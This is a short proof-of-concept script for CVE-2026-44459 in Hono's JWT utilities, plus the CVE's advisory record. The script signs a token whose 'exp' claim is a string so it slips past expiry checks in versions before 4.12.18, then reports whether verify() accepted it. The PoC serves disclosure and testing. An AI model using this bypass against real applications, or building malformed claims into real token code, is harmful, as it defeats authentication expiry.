CVE-2026-44459

// PoC for CVE-2026-44459: Hono JWT NumericDate Validation Bypass // This demonstrates generating a JWT with a malformed 'exp' claim // that bypasses time-based checks in vulnerable versions (< 4.12.18). import { sign, verify } from 'hono/utils/jwt' const secret = 'secret-key' // Create a token with a non-spec compliant 'exp' claim (e.g., a string) // According to spec, 'exp' should be a NumericDate (number). // A vulnerable implementation might accept this string and fail to check expiration correctly. const payload = { exp: "999999999999999999", // String instead of number user: 'admin' } const malformedToken = await sign(payload, secret) console.log("Generated Malformed Token:", malformedToken) // Attempt to verify the token try { // In vulnerable versions, this might succeed or not check the time properly const decoded = await verify(malformedToken, secret) console.log("Verification Result:", decoded) console.log("VULNERABLE: Token with invalid exp type was accepted.") } catch (e) { console.log("SECURE: Token rejected:", e.message) }

{"cve": {"id": "CVE-2026-44459", "sourceIdentifier": "[email protected]", "published": "2026-05-13T16:16:57.970", "lastModified": "2026-05-13T18:21:48.107", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Hono is a Web application framework that provides support for any JavaScript runtime. Prior to 4.12.18, improper validation of the JWT NumericDate claims exp, nbf, and iat in hono/utils/jwt allows tokens with non-spec-compliant claim values to silently bypass time-based checks. This issue is not exploitable by an anonymous attacker; it only manifests when a malformed claim value reaches verify() — typically when the application itself issues such tokens, or when the signing key is otherwise under attacker control. This vulnerability is fixed in 4.12.18."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N", "baseScore": 3.8, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1284"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hono:hono:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "4.12.18", "matchCriteriaId": "5AB1A6FC-8475-4A23-9E63-46F3E6C5D264"}]}]}], "references": [{"url": "https://github.com/honojs/hono/security/advisories/GHSA-hm8q-7f3q-5f36", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}